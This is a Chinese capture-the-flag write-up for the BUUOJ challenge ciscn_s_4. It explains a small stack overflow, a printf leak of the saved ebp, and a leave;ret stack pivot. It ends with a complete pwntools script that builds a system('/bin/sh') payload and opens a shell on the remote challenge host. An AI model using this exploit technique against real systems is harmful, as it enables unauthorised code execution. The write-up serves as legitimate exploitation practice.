# 1. 查看程序
32 位程序,开启了 NX
ida 反汇编:
vul函数
:可以看到只能溢出两个字,也就只能覆盖 ebp 和 ret,这种一般都需要栈迁移
hack函数
:只提供了 system 函数,无法获得 flag,所以不能直接用这个地址覆盖 ret
# 2. 漏洞分析
由于可以溢出的字节数太小,所以就需要进行栈迁移,这里要考虑迁移的地址,首先 bss 段上没有很大的空间,并且没有备份去写入内容到 bss,所以就只能考虑栈上,那么就需要我们泄露栈上的地址,这里就可以利用 printf
来打印出 mian 函数的 ebp 地址再利用偏移就能计算出我们输入的字符串的地址:
通过计算得出偏移为 0x38:
接下来在栈上构造 system("/bin/sh")
然后返回去执行即可【这里是 ret 回去还是栈迁移】
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./ciscn_s_4') | |
p=remote('node4.buuoj.cn',27282) | |
system=0x8048400 | |
leave_ret=0x080484b8 | |
payload1=b"a"*(0x24)+b"bbbb" | |
p.send(payload1) #这里不能是以 sendline 发送,会影响泄露 | |
p.recvuntil("bbbb") | |
ebp=u32(p.recv(4)) | |
print("ebp",hex(ebp)) | |
buf=ebp-0x38 | |
payload2=(p32(system)+p32(0)+p32(buf+12)+b"/bin/sh\x00").ljust(0x28,b"a")+p32(buf-4)+p32(leave_ret) | |
p.sendline(payload2) | |
p.interactive() |